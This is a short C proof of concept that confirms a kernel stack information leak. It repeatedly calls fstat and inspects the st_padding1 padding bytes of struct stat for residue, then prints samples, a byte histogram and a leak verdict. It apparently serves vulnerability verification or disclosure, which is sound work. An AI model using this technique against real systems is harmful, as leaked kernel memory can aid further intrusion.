/*
 * DF-0034 PoC (sharp) - dump first N non-zero st_padding1 samples + byte histogram.
 * On a leaking kernel: shows non-zero, varying bytes (kernel stack residue).
 * On a fixed kernel: every byte is 0x00.
 */
#include <sys/stat.h>
#include <stddef.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
	int fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }

	unsigned off = offsetof(struct stat, st_padding1);
	unsigned nonzero = 0, shown = 0;
	unsigned hist[256] = {0};

	for (int i = 0; i < 20000; i++) {
		struct stat st;
		memset(&st, 0xAA, sizeof(st));
		if (fstat(fd, &st) != 0)
			continue;
		unsigned char a = ((unsigned char *)&st)[off];
		unsigned char b = ((unsigned char *)&st)[off + 1];
		if (a != 0xAA && a != 0x00) {
			nonzero++;
			hist[a]++;
			if (shown < 16) {
				printf("sample %d: st_padding1 = %02x %02x\n", i, a, b);
				shown++;
			}
		}
	}
	printf("\nsamples with non-zero/non-marker st_padding1[0]: %u / 20000\n", nonzero);
	printf("top 8 distinct byte values in st_padding1[0]:\n");
	/* simple top-N */
	for (int n = 0; n < 8; n++) {
		unsigned maxv = 0, maxi = 0;
		for (int v = 0; v < 256; v++)
			if (hist[v] > maxv) { maxv = hist[v]; maxi = v; }
		if (maxv == 0) break;
		printf("  0x%02x : %u\n", maxi, maxv);
		hist[maxi] = 0;
	}
	printf("result: %s\n", nonzero ? "LEAK CONFIRMED" : "no residue this run");
	return nonzero ? 0 : 2;
}
